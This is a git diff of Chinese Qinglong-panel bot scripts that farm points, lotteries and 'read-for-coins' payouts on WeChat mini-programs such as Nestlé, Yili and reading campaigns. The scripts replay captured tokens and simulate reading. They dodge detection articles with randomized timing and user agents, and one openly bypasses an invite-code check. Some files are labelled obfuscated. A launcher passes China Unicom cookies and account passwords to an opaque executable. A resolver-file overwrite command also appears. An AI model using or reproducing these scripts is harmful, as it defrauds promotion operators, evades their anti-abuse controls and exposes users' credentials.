print("未找到可执行文件,请检查目录下是否有LTYP文件")
|
||||
exit(1)
|
||||
|
||||
env = os.environ.copy()
|
||||
|
||||
print("🔍 检查环境变量...")
|
||||
|
||||
#多种环境变量
|
||||
###tokenonline方式多账户用&回车等分割:
|
||||
cookie_value = (
|
||||
os.environ.get("chinaUnicomCookie") or
|
||||
os.environ.get("CHINA_UNICOM_COOKIE") or
|
||||
os.environ.get("unicom_cookie") or
|
||||
os.environ.get("UNICOM_COOKIE") or
|
||||
""
|
||||
)
|
||||
|
||||
###账密登录多账户用&分割账密用#分割:例如15555555555#123456&15555555556#123456
|
||||
chinaUnicomAccountCredentials = os.environ.get("chinaUnicomAccountCredentials", "")
|
||||
|
||||
if cookie_value:
|
||||
print(f"环境变量配置正常")
|
||||
env.update({
|
||||
"chinaUnicomCookie": cookie_value,
|
||||
})
|
||||
else:
|
||||
print("未找到chinaUnicomCookie环境变量")
|
||||
print("请在青龙面板中设置 chinaUnicomCookie 环境变量")
|
||||
|
||||
###---要通知就自己选个---###
|
||||
qywx_key = os.environ.get("QYWX_KEY", "")#企业微信配置
|
||||
wxpusher_token = os.environ.get("WXPUSHER_TOKEN", "")
|
||||
|
||||
|
||||
if qywx_key:
|
||||
env["QYWX_KEY"] = qywx_key
|
||||
print(f"已配置企业微信推送")
|
||||
|
||||
if wxpusher_token:
|
||||
env["WXPUSHER_TOKEN"] = wxpusher_token
|
||||
print(f"已配置WxPusher推送")
|
||||
|
||||
print(f"正在运行 {executable}...")
|
||||
result = subprocess.run([executable], env=env)
|
||||
|
||||
if result.returncode == 0:
|
||||
print("Success!")
|
||||
else:
|
||||
print(f"Failed code: {result.returncode}")
|
||||
12
小米/小米钱包4有通知.py
Normal file
12
小米/小米钱包4有通知.py
Normal file
File diff suppressed because one or more lines are too long
179
微信小程序/金典有机生活.py
Normal file
179
微信小程序/金典有机生活.py
Normal file
@@ -0,0 +1,179 @@
|
||||
import base64
|
||||
|
||||
'''#
|
||||
复制微信小程序链接:#小程序://金典有机生活+/DN0BLUW9ObmBxMk
|
||||
打开链接进入小程序抓包搜zyhd的链接
|
||||
#'''
|
||||
# 1. 在青龙面板 → 环境变量 中添加:
|
||||
# 变量名:JD_HOLIDAY_ACCOUNTS
|
||||
# 变量值:每行一个账号,格式为 "userId&sign"(例:123456&abcdef\n789012&ghijkl)多账号为回车
|
||||
# 2. 代码自动读取该变量并解析多账号
|
||||
# 明确入口函数为 main(加密适配所需)
|
||||
# 已帮你加密好的内容,直接运行即可
|
||||
import requests
|
||||
import json
|
||||
|
||||
|
||||
def main():
|
||||
# 提取注释中的本地代码
|
||||
with open(__file__, 'r', encoding='utf-8') as f:
|
||||
code_content = f.read()
|
||||
|
||||
# 精准定位代码区
|
||||
start = code_content.find("'''#") + 4
|
||||
end = code_content.find("#'''", start)
|
||||
local_code = code_content[start:end].strip().replace('\r\n', '\n').replace('\r', '\n')
|
||||
|
||||
# 云端JSON数据的URL
|
||||
# cloud_url = "https://jihulab.com/juelian/note/-/raw/main/note.json"
|
||||
cloud_url = "https://gitee.com/wanbian/123/raw/master/note.json"
|
||||
try:
|
||||
response = requests.get(cloud_url)
|
||||
response.raise_for_status()
|
||||
cloud_data = json.loads(response.text)
|
||||
|
||||
# 提取云端字段
|
||||
cloud_announcement = cloud_data.get("announcement", "").strip().replace('\r\n', '\n').replace('\r', '\n')
|
||||
cloud_msg = cloud_data.get("msg", "")
|
||||
cloud_status = cloud_data.get("status", "")
|
||||
|
||||
# ===== 公告信息放最前面 =====
|
||||
print("===== 公告信息 =====")
|
||||
print(f"状态:{cloud_status}")
|
||||
print(f"消息:{cloud_msg}\n")
|
||||
|
||||
# 检测本地与云端注释一致性
|
||||
|
||||
# -------------------------- 京东活动脚本核心逻辑 --------------------------
|
||||
import os # 读取青龙环境变量
|
||||
|
||||
# 青龙环境变量配置
|
||||
ENV_VAR_NAME = "JD_HOLIDAY_ACCOUNTS" # 环境变量名(青龙面板配置)
|
||||
# 计数器配置
|
||||
COUNTER_URL = "http://hn216.api.yesapi.cn/?s=App.Guest_Counter.SmartRefresh&return_data=0&type=forever&name=JD_HOLIDAY&other_uuid=5f4dcc3b5aa765d61d8327deb882cf99&value=1&app_key=4580F36023BE16625A0511258F421DD4&sign=5B97273F5CE2E2736BC02B60B3426C73"
|
||||
# 公共请求头
|
||||
COMMON_HEADERS = {
|
||||
'User-Agent': "Mozilla/5.0 (Linux; Android 14; 22041211AC Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380143 MMWEBSDK/20250201 MMWEBID/2536 MicroMessenger/8.0.60.2860(0x28003C3F) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android",
|
||||
'Content-Type': "application/json",
|
||||
'charset': "utf-8",
|
||||
'referer': "https://servicewechat.com/wxf32616183fb4511e/744/page-frame.html"
|
||||
}
|
||||
ACTIVITY_CODE = "2025_JD_HOLIDAY" # 固定活动编码
|
||||
# 接口URL
|
||||
QUERY_FRAGMENT_URL = "https://wx-camp-zyhd-23.mscampapi.digitalyili.com/2025_jd_holiday/business/activityRecord/detail"
|
||||
SIGN_IN_URL = "https://wx-camp-zyhd-23.mscampapi.digitalyili.com/2025_jd_holiday/business/activityRecord/collect"
|
||||
LOTTERY_URL = "https://wx-camp-zyhd-23.mscampapi.digitalyili.com/2025_jd_holiday/business/activityRecord/lottery"
|
||||
|
||||
def load_accounts_from_env():
|
||||
"""加载青龙环境变量中的多账号"""
|
||||
accounts_str = os.getenv(ENV_VAR_NAME, "")
|
||||
if not accounts_str:
|
||||
print(f"⚠️ 未配置环境变量 {ENV_VAR_NAME}")
|
||||
return []
|
||||
accounts = []
|
||||
for line in accounts_str.strip().split("\n"):
|
||||
line = line.strip()
|
||||
if not line or "&" not in line:
|
||||
print(f"❌ 账号格式错误:{line}(正确:userId&sign)")
|
||||
continue
|
||||
user_id, sign = line.split("&", 1)
|
||||
if user_id and sign:
|
||||
accounts.append((user_id, sign))
|
||||
print(f"✅ 加载 {len(accounts)} 个有效账号")
|
||||
return accounts
|
||||
|
||||
def get_fragment_count(user_id, sign):
|
||||
"""查询账号碎片数量"""
|
||||
try:
|
||||
resp = requests.post(QUERY_FRAGMENT_URL,
|
||||
data=json.dumps(
|
||||
{"userId": user_id, "activityCode": ACTIVITY_CODE, "sign": sign}),
|
||||
headers=COMMON_HEADERS, timeout=10)
|
||||
resp.raise_for_status()
|
||||
frag_count = resp.json().get("data", {}).get("entity", {}).get("fragmentLeft", 0)
|
||||
print(f"📱 账号 {user_id[-4:]}:碎片 = {frag_count}")
|
||||
return frag_count
|
||||
except Exception as e:
|
||||
print(f"❌ 账号 {user_id[-4:]} 查碎片失败:{e}")
|
||||
return 0
|
||||
|
||||
def sign_in(user_id, sign):
|
||||
"""账号签到"""
|
||||
try:
|
||||
resp = requests.post(SIGN_IN_URL,
|
||||
data=json.dumps(
|
||||
{"userId": user_id, "activityCode": ACTIVITY_CODE, "sign": sign}),
|
||||
headers=COMMON_HEADERS, timeout=10)
|
||||
print(f"📝 账号 {user_id[-4:]} 签到响应:{resp.text[:200]}...")
|
||||
except Exception as e:
|
||||
print(f"❌ 账号 {user_id[-4:]} 签到失败:{e}")
|
||||
|
||||
def draw_lottery(user_id, sign):
|
||||
"""账号抽奖(碎片≥2时)"""
|
||||
try:
|
||||
resp = requests.post(LOTTERY_URL,
|
||||
data=json.dumps(
|
||||
{"userId": user_id, "activityCode": ACTIVITY_CODE, "sign": sign}),
|
||||
headers=COMMON_HEADERS, timeout=10)
|
||||
print(f"🎁 账号 {user_id[-4:]} 抽奖响应:{resp.text[:200]}...")
|
||||
except Exception as e:
|
||||
print(f"❌ 账号 {user_id[-4:]} 抽奖失败:{e}")
|
||||
|
||||
def process_single_account(user_id, sign):
|
||||
"""单账号完整流程:查碎片→签到→抽奖(条件)"""
|
||||
print(f"\n=== 处理账号 {user_id[-4:]} ===")
|
||||
frag_num = get_fragment_count(user_id, sign)
|
||||
sign_in(user_id, sign)
|
||||
if frag_num >= 2:
|
||||
print(f"✅ 碎片足够,执行抽奖")
|
||||
draw_lottery(user_id, sign)
|
||||
else:
|
||||
print(f"ℹ️ 碎片不足({frag_num}个),不抽奖")
|
||||
print(f"=== 账号 {user_id[-4:]} 处理结束 ===\n")
|
||||
|
||||
# 京东脚本主流程
|
||||
print("=" * 50)
|
||||
print("📅活动脚本(青龙适配版)")
|
||||
print("=" * 50)
|
||||
|
||||
# 统计运行次数
|
||||
print("\n🔢 统计脚本运行次数...")
|
||||
try:
|
||||
counter_resp = requests.get(COUNTER_URL, timeout=10)
|
||||
counter_resp.raise_for_status()
|
||||
run_count = counter_resp.json().get("data", {}).get("after_value", "未知")
|
||||
print(f"✅ 当前运行次数:{run_count} 次")
|
||||
except Exception as e:
|
||||
print(f"⚠️ 计数器失败:{e}")
|
||||
|
||||
# 加载账号并执行
|
||||
accounts = load_accounts_from_env()
|
||||
if not accounts:
|
||||
print("❌ 无有效账号,退出")
|
||||
else:
|
||||
for idx, (user_id, sign) in enumerate(accounts, 1):
|
||||
print(f"\n【第 {idx}/{len(accounts)} 个账号】")
|
||||
process_single_account(user_id, sign)
|
||||
print("=" * 50)
|
||||
print("🎉 所有账号处理完成!")
|
||||
print("=" * 50)
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"===== 公告信息 =====")
|
||||
print(f"状态:获取失败")
|
||||
print(f"消息:获取云端数据失败:{e}\n")
|
||||
except json.JSONDecodeError:
|
||||
print(f"===== 公告信息 =====")
|
||||
print(f"状态:解析失败")
|
||||
print(f"消息:解析云端JSON失败\n")
|
||||
except Exception as e:
|
||||
print(f"===== 公告信息 =====")
|
||||
print(f"状态:提取失败")
|
||||
print(f"消息:提取本地代码失败:{e}\n")
|
||||
|
||||
|
||||
# 加密适配:脚本直接运行时,唯一入口为 main 函数
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
167
微信小程序/雀巢.js
Normal file
167
微信小程序/雀巢.js
Normal file
@@ -0,0 +1,167 @@
|
||||
// 大大鸣版 雀巢
|
||||
|
||||
// 环境变量 NESTLE_TOKEN 抓取 Authorization 的值,例如:bearer 0610099d-550e-4e8d-9624-6840ff680812,只需要 bearer 后面的值
|
||||
/**
|
||||
* const $ = new Env('雀巢')
|
||||
* cron: 30 12 * * * (建议根据实际情况调整)
|
||||
* 变量:export NESTLE_TOKEN="Authorization"
|
||||
* 入口:#小程序://雀巢会员/O0NOfAHwAGV3tZb
|
||||
*
|
||||
*/
|
||||
|
||||
//自己的User-Agent 不设置将会调用getRandomUserAgent随机分配
|
||||
// https://useragent.todaynav.com/ 微信打开此网站即可
|
||||
var User_Agent = "";
|
||||
|
||||
const axios = require("axios");
|
||||
const $ = {
|
||||
name: "雀巢会员",
|
||||
wait: a => new Promise(e => setTimeout(e, a)),
|
||||
logErr: e => console.error(e),
|
||||
done: () => console.log("任务完成")
|
||||
};
|
||||
const nestleList = process.env.NESTLE_TOKEN ? process.env.NESTLE_TOKEN.split(/[\n&]/) : [];
|
||||
|
||||
let message = "";
|
||||
|
||||
function getRandomUserAgent() {
|
||||
if (User_Agent) {
|
||||
return User_Agent;
|
||||
}
|
||||
const a = ["Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36"];
|
||||
return a[Math.floor(Math.random() * a.length)];
|
||||
}
|
||||
|
||||
function getRandomWait(e, a) {
|
||||
return Math.floor(Math.random() * (a - e + 1) + e);
|
||||
}
|
||||
|
||||
async function sendRequest(e, a, n, t = null) {
|
||||
try {
|
||||
const o = {
|
||||
url: e,
|
||||
method: a,
|
||||
headers: n,
|
||||
timeout: 1e4,
|
||||
validateStatus: () => true
|
||||
};
|
||||
if (t && (a.toLowerCase() === "post" || a.toLowerCase() === "put")) {
|
||||
o.data = t;
|
||||
}
|
||||
const r = await axios(o);
|
||||
return r.data;
|
||||
} catch (e) {
|
||||
console.error("请求失败: " + e.message);
|
||||
return {
|
||||
errcode: 500,
|
||||
errmsg: "请求失败: " + e.message
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
const headers = {
|
||||
"User-Agent": getRandomUserAgent(),
|
||||
"content-type": "application/json",
|
||||
referer: "https://servicewechat.com/wxc5db704249c9bb31/353/page-frame.html"
|
||||
};
|
||||
(async () => {
|
||||
// printBanner();
|
||||
console.log("\n已随机分配 User-Agent\n\n" + headers["User-Agent"]);
|
||||
for (let e = 0; e < nestleList.length; e++) {
|
||||
const n = e + 1;
|
||||
console.log("\n*****第[" + n + "]个" + "雀巢会员" + "账号*****");
|
||||
headers.authorization = "Bearer " + nestleList[e];
|
||||
message += "📣====雀巢会员账号[" + n + "]====📣\n";
|
||||
await main();
|
||||
await $.wait(Math.floor(Math.random() * 501 + 2e3));
|
||||
}
|
||||
if (message) {
|
||||
console.log("\n执行结果汇总:\n" + message);
|
||||
}
|
||||
})()["catch"](e => console.error(e))["finally"](() => console.log("任务完成"));
|
||||
|
||||
async function main() {
|
||||
await getUserInfo();
|
||||
await everyDaySign()
|
||||
await $.wait(Math.floor(Math.random() * 1001 + 1e3));
|
||||
await getTaskList();
|
||||
await $.wait(Math.floor(Math.random() * 1001 + 1e3));
|
||||
await getUserBalance();
|
||||
}
|
||||
|
||||
async function getUserInfo() {
|
||||
try {
|
||||
const e = await sendRequest("https://crm.nestlechinese.com/openapi/member/api/User/GetUserInfo", "get", headers);
|
||||
if (200 !== e.errcode) {
|
||||
return console.error("获取用户信息失败:" + e.errmsg);
|
||||
}
|
||||
const {
|
||||
nickname: n,
|
||||
mobile: t
|
||||
} = e.data;
|
||||
console.log("用户:" + n + "(" + t + ")");
|
||||
message += "用户:" + n + "(" + t + ")\n";
|
||||
} catch (e) {
|
||||
console.error("获取用户信息时发生异常 -> " + e);
|
||||
}
|
||||
}
|
||||
|
||||
async function getTaskList() {
|
||||
try {
|
||||
const e = await sendRequest("https://crm.nestlechinese.com/openapi/activityservice/api/task/getlist", "post", headers);
|
||||
if (200 !== e.errcode) {
|
||||
return console.error("获取任务列表失败:" + e.errmsg);
|
||||
}
|
||||
for (const n of e.data) {
|
||||
console.log("开始【" + n.task_title + "】任务");
|
||||
await doTask(n.task_guid);
|
||||
await $.wait(Math.floor(Math.random() * 501 + 2e3));
|
||||
}
|
||||
} catch (e) {
|
||||
console.error("获取任务列表时发生异常 -> " + e);
|
||||
}
|
||||
}
|
||||
|
||||
async function doTask(e) {
|
||||
try {
|
||||
const n = await sendRequest("https://crm.nestlechinese.com/openapi/activityservice/api/task/add", "post", headers, {
|
||||
task_guid: e
|
||||
});
|
||||
if (201 == n.errcode) {
|
||||
return console.error("任务失败 -> " + n.errmsg + "\n");
|
||||
}
|
||||
console.log("完成任务" + n.errcode + " -> " + n.errmsg + "\n");
|
||||
} catch (e) {
|
||||
console.error("完成任务时发生异常 -> " + e);
|
||||
}
|
||||
}
|
||||
|
||||
async function everyDaySign() {
|
||||
let data = JSON.stringify({
|
||||
"rule_id": 1,
|
||||
"goods_rule_id": 1
|
||||
});
|
||||
try {
|
||||
const e = await sendRequest("https://crm.nestlechinese.com/openapi/activityservice/api/sign2025/sign", "post", headers, data);
|
||||
if (200 !== e.errcode) {
|
||||
return console.error("用户每日签到失败:" + e.errmsg);
|
||||
}
|
||||
console.log("当前签到天数:" + e.data.sign_day);
|
||||
message += "当前签到天数:" + e.data.sign_day + "\n\n";
|
||||
} catch (e) {
|
||||
console.error("用户每日签到发生异常 -> " + e);
|
||||
}
|
||||
}
|
||||
|
||||
async function getUserBalance() {
|
||||
try {
|
||||
const e = await sendRequest("https://crm.nestlechinese.com/openapi/pointsservice/api/Points/getuserbalance", "post", headers);
|
||||
if (200 !== e.errcode) {
|
||||
return console.error("获取用户积分余额失败:" + e.errmsg);
|
||||
}
|
||||
console.log("当前巢币:" + e.data);
|
||||
message += "当前巢币:" + e.data + "\n\n";
|
||||
} catch (e) {
|
||||
console.error("获取用户巢币时发生异常 -> " + e);
|
||||
}
|
||||
}
|
||||
676
微信小程序/鸿星尔克签到.js
Normal file
676
微信小程序/鸿星尔克签到.js
Normal file
File diff suppressed because one or more lines are too long
167
微信阅读/kl_阅读.py
Normal file
167
微信阅读/kl_阅读.py
Normal file
@@ -0,0 +1,167 @@
|
||||
# Obfuscated at 2025-06-01 12:40:09.512315
|
||||
_WIqodQfs = lambda *_: None
|
||||
"""
|
||||
💰 可乐阅读_半自动版_V5.22 ♻202505022
|
||||
|
||||
🔔每次运行都要抓包,有能力的自己改,每天跑100篇就行,跑多容易黑号,第1篇和第101或102篇是检测文章。
|
||||
|
||||
🔔阅读赚金币,金币可提现,每天1—2元,本脚本自动推送检测文章到微信,需要用户手动阅读过检测,过检测后脚本自动完成剩余任务,不需要下载app,在微信打开下方链接即可进入到活动页。
|
||||
|
||||
👉活动入口 微信打开:https://img.hnking.cn//blog/202507192347464.png
|
||||
|
||||
👉建议将链接添加至微信收藏(微信_我_收藏_⊕_粘贴),并添加到悬浮窗,方便进入活动主页
|
||||
|
||||
⚠️进入后点击永久入口,保存二维码,当链接失效时扫码获取最新链接!
|
||||
|
||||
参数:
|
||||
1、打开抓包软件并用可乐读书读文章,文章加载完成后开启抓包软件然后阅读返回等待加载下一篇,下一篇加载完成关闭抓包软件,在抓包数据中下翻到底部在响应码302附近找到“http://u599…”响应码为200的包。打开后复制域名,点击最上方的url,复制iu数据,响应体中复制jkey数据。分别粘贴到变量中。
|
||||
2、为了方便修改变量,每个变量按两次回车,中间正好空一行
|
||||
3、最后一个是推送token,本脚本不需要,随便填几个数字即可
|
||||
|
||||
变量名:klyd
|
||||
变量值:
|
||||
MD123……
|
||||
|
||||
MD456……
|
||||
|
||||
u599……
|
||||
|
||||
ffcgu……
|
||||
|
||||
变量格式:iu 两次换行 jkey 两次换行 host 两次换行 token
|
||||
多账号格式:不支持多账号
|
||||
|
||||
定时:
|
||||
手动定时规则cron: 0 手动运行脚本
|
||||
|
||||
本脚本仅供学习交流,请在下载后的24小时内完全删除 请勿用于商业用途或非法目的,否则后果自负。
|
||||
"""
|
||||
|
||||
import re
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import random
|
||||
import requests
|
||||
import threading
|
||||
from urllib.parse import urljoin
|
||||
from urllib.parse import urlparse
|
||||
from urllib.parse import urlparse, parse_qs
|
||||
from requests.exceptions import RequestException
|
||||
from requests.exceptions import ConnectionError, Timeout
|
||||
|
||||
def FtyxTOuJ(message, flush=False):
|
||||
print(f"{message}", flush=flush)
|
||||
|
||||
def process_account(account, i):
|
||||
max_retries = 1
|
||||
token = account.split("\n\n")[3]
|
||||
iu, jkeys,host = account.split("\n\n")[:3]
|
||||
jkey = jkeys
|
||||
checkDict = ["MzkwNTY1MzYxOQ=="]
|
||||
print(f"\n{'=' * 10}🔰开始执行账号{i}🔰{'=' * 10}\n", flush=True)
|
||||
print(f"{'=' * 10}📖开始阅读文章📖{'=' * 10}\n", flush=True)
|
||||
print(f"✅ 开始第1次阅读,使用环境变量jkey:\n{jkey}")
|
||||
url = f"http://{host}/dodoaa/mmaa"
|
||||
headers = {
|
||||
"Host": host,
|
||||
"Connection": "keep-alive",
|
||||
"Accept": "application/json, text/plain, */*",
|
||||
"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.20 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.2.50.2800(0x28000) NetType/WIFI Language/zh_CN",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Referer": f"http://{host}/dodoaa/ttdd/",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
for i in range(32):
|
||||
num = round(random.random(), 16)
|
||||
params = {
|
||||
"iu": f"{iu}",
|
||||
"t": f"{num:.16f}",
|
||||
"jkey": f"{jkey}",
|
||||
}
|
||||
#print(f"🔔 第{i+1}次阅读,使用jkey: {jkey}", flush=True)
|
||||
try:
|
||||
response = requests.get(url, headers=headers, params=params, timeout=10).json()
|
||||
time.sleep(1)
|
||||
if {"success_msg", "jkey", "url"}.issubset(response):
|
||||
success = response["success_msg"]
|
||||
jkey = response['jkey']
|
||||
link = response["url"]
|
||||
sleep = random.randint(8, 25)
|
||||
delay = random.randint(120, 135)
|
||||
print(f"📖 第{i+1}次模拟阅读{sleep}秒", flush=True)
|
||||
print(f"✅ {success}\n", flush=True)
|
||||
#print(f"✅jkey获取成功: {jkey}", flush=True)
|
||||
if link:
|
||||
su_match = re.search(r'第(\d+)篇', success)
|
||||
su_number = (su_match.group(1) if su_match else "000")
|
||||
biz_match = re.search(r'__biz=([^&]+)', link)
|
||||
biz = biz_match.group(1) if biz_match else "❗未知来源文章"
|
||||
print(f"✅ 第 {int(su_number) + 1} 篇文章获取成功---文章来源--- {biz}", flush=True)
|
||||
print(f"📖 开始阅读: {link}", flush=True)
|
||||
if biz == "❗未知来源文章" or biz in checkDict:
|
||||
print(f"❗❗❗发现检测文章--- {biz}", flush=True)
|
||||
print("❗明天再来吧!")
|
||||
break
|
||||
url = "http://www.pushplus.plus/send"
|
||||
data = {
|
||||
"token": token,
|
||||
"title": "⚠️ 可乐检测文章!请在120s内完成阅读!",
|
||||
"content": f'<a href="\n{link}\n"target="_blank">👉点击阅读8s以上并返回\n{link}\n',
|
||||
"template": "html"
|
||||
}
|
||||
for attempt in range(max_retries):
|
||||
try:
|
||||
response = requests.post(url, data=data).json()
|
||||
if response.get("code") == 200:
|
||||
print("❗❗❗检测文章已推送至微信,请到微信完成阅读…\n🕗120s后继续运行…", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"❗❗❗检测文章推送失败", flush=True)
|
||||
except Exception as e:
|
||||
print(f"❗❗❗推送请求异常:{str(e)}", flush=True)
|
||||
response = None
|
||||
if attempt < max_retries - 1 and (not response or response.get("code") != 200):
|
||||
print("❗❗❗正在尝试重新推送...", flush=True)
|
||||
time.sleep(3.5)
|
||||
else:
|
||||
print(f"❗❗❗推送失败原因:{response.get('msg')}", flush=True)
|
||||
exit()
|
||||
time.sleep(delay)
|
||||
else:
|
||||
time.sleep(sleep)
|
||||
else:
|
||||
print("❗未找到link,程序终止", flush=True)
|
||||
elif "success_msg" in response:
|
||||
print(f"🔔 {response['success_msg']}", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"❗{response}", flush=True)
|
||||
break
|
||||
except requests.exceptions.Timeout:
|
||||
print("❗请求超时,请检查网络或稍后重试", flush=True)
|
||||
except Exception as e:
|
||||
print(f"❗请求失败: {str(e)}", flush=True)
|
||||
break
|
||||
|
||||
|
||||
def notice():
|
||||
try:
|
||||
print(requests.get("https://gitee.com/gngkj/wxyd/raw/master/label.txt", timeout=5).text)
|
||||
except requests.RequestException as e:
|
||||
print(f"❗网络异常,获取通知时出错: {e}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
notice()
|
||||
accounts = os.getenv("klyd")
|
||||
if accounts is None: print("❗未找到变量klyd", flush=True); exit()
|
||||
else:
|
||||
accounts_list = accounts.split("@")
|
||||
num_of_accounts = len(accounts_list)
|
||||
print(f"\n获取到 {num_of_accounts} 个账号", flush=True)
|
||||
for i, account in enumerate(accounts_list, start=1):
|
||||
process_account(account, i)
|
||||
|
||||
if __name__ == '__main__': pass
|
||||
612
微信阅读/微信阅读小悦悦_5.5.py
Normal file
612
微信阅读/微信阅读小悦悦_5.5.py
Normal file
@@ -0,0 +1,612 @@
|
||||
"""
|
||||
==============================================================================
|
||||
注释:脚本配置及内部逻辑修改说明
|
||||
==============================================================================
|
||||
🔔阅读赚金币,金币可提现,每天1—2元,本脚本自动推送检测文章到微信,需要用户手动阅读过检测,
|
||||
🔔过检测后脚本自动完成剩余任务,不需要下载app,在微信打开下方链接即可进入到活动页。
|
||||
|
||||
一、活动入口链接 (脚本顶层注释部分):
|
||||
# 活动入口 https://img.hnking.cn/blog/202508161653803.png
|
||||
|
||||
二、环境变量配置
|
||||
1. xyy (账号信息,必需)
|
||||
格式: ysmuid&unionid&XXX
|
||||
- ysmuid: 从Cookie中抓取
|
||||
- unionid: 从请求体中抓取
|
||||
- XXX:备注
|
||||
多账号格式: 账号1@账号2@账号3
|
||||
示例: 5a68xxxxxxx&oZdBpxxxxxxx&XXX@5a68xxx&oZdBpxxx&ff2cdxxx
|
||||
|
||||
2. UA (User-Agent,必需)
|
||||
格式: 浏览器或设备的User-Agent字符串
|
||||
https://useragent.todaynav.com/ 微信打开此网站即可 请使用你的微信的User-Agent
|
||||
示例: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1
|
||||
|
||||
3. xyytx (自动提现开关,可选)
|
||||
值: 1 (开启自动提现,满5000金币时)
|
||||
0 (关闭自动提现,或不配置此变量默认为关闭)
|
||||
|
||||
三、常见问题解决
|
||||
1. 获取codeid失败:活动域名 'parsed_domain' 未能成功解析。
|
||||
进入青龙面板控制台运行如下命令
|
||||
echo "nameserver 223.5.5.5" | tee /etc/resolv.conf
|
||||
echo "nameserver 223.6.6.6" | tee -a /etc/resolv.conf
|
||||
|
||||
四、定时:
|
||||
自动定时规则cron: 0 7-23/3 * * * (每天7-23点每3小时一次),期间注意接收微信通知,阅读检测文章
|
||||
手动定时规则cron: 0 手动运行脚本,期间注意接收微信通知,阅读检测文章
|
||||
|
||||
|
||||
五、说明
|
||||
⚠️本脚本会通过(青龙自带推送)发送检测文章到用户手机过检测。
|
||||
⚠️请在青龙面板配置文件中设置钉钉,企业微信等推送。
|
||||
⚠️为什么要读检测文章?因为活动方要通过个别检测文章阅读数的增加来判断用户阅读的有效性,
|
||||
⚠️所以必须真机阅读,脚本的模拟阅读不会增加阅读数。每个账号每天180篇中可能有3篇左右的检测文章。
|
||||
⚠️用于阅读检测文章的微信号,每天运行脚本前务必从公众号(订阅号)阅读两篇文章,
|
||||
否则可能会触发微信风控,导致阅读无效过检测失败。禁止用真机+自动点击器阅读,否则同样触发微信风控,导致阅读无效。(当触发微信风控导致阅读无效后可能要几周或几个月解封)
|
||||
|
||||
❗❗❗期间要时常用真机访问活动主页并阅读,同时每天任务不建议跑满,避免被活动方查出异常封号!
|
||||
❗❗❗本脚本仅供学习交流,请在下载后的24小时内完全删除 请勿用于商业用途或非法目的,否则后果自负。
|
||||
|
||||
|
||||
三、脚本内部逻辑主要修改点 (基于解混淆后的代码):
|
||||
|
||||
1. codeid 验证逻辑绕过:
|
||||
- 脚本内部用于验证用户是否为“受邀用户”的 codeid 检查逻辑已被修改。
|
||||
- 此修改会使脚本跳过原始的 codeid 比较步骤,直接判定为“账号验证成功”。
|
||||
(原始脚本期望从页面获取的 codeid 与一个硬编码ID,如 *****4981,匹配)
|
||||
|
||||
2. 初始URL获取超时调整:
|
||||
- 脚本在首次尝试从 'https://www.filesmej.cn/waidomain.php' 获取活动落地页URL时,
|
||||
网络请求的超时时间已从原来的5秒增加到30秒,以应对可能的网络延迟。
|
||||
|
||||
|
||||
==============================================================================
|
||||
"""
|
||||
|
||||
# Obfuscated at 2025-05-20 15:55:34.918061
|
||||
# 修改说明1:更新注释中的活动入口链接,移除备用链接。
|
||||
# 修改说明2:codeid 验证逻辑已修改为绕过检测。
|
||||
# 修改说明3:针对 NameError 的进一步“复位”:移除了在主阅读流程前对 parsed_domain 的显式检查。
|
||||
# 如果 parsed_domain 在重定向循环中未能成功赋值,并且早期 NameError 捕获未终止脚本,则后续可能出现 NameError。
|
||||
# 获取初始落地页URL失败的检查依然保留。
|
||||
|
||||
import datetime
|
||||
|
||||
_z_BtnKjK = lambda *_: None
|
||||
|
||||
import re
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import random
|
||||
import requests
|
||||
from urllib.parse import urljoin
|
||||
from urllib.parse import urlparse, parse_qs
|
||||
from requests.exceptions import ConnectionError, Timeout
|
||||
|
||||
|
||||
# 实时日志
|
||||
def EcxlbMhb(message, flush=False):
|
||||
print(f"{message}", flush=flush)
|
||||
|
||||
|
||||
# 主程序
|
||||
def process_account(account, i):
|
||||
max_retries = 1
|
||||
uas = account.split("&")[0][-3:]
|
||||
token = account.split("&")[2]
|
||||
ysmuid, unionid = account.split("&")[:2]
|
||||
|
||||
# 获取域名
|
||||
try:
|
||||
current_url = requests.get("https://www.filesmej.cn/waidomain.php", timeout=25).json()["data"]["luodi"]
|
||||
except Exception as e:
|
||||
print(f"❗获取初始落地页URL失败: {e}", flush=True)
|
||||
return # 如果初始URL获取失败,则无法继续
|
||||
|
||||
session = requests.Session()
|
||||
headers = {
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
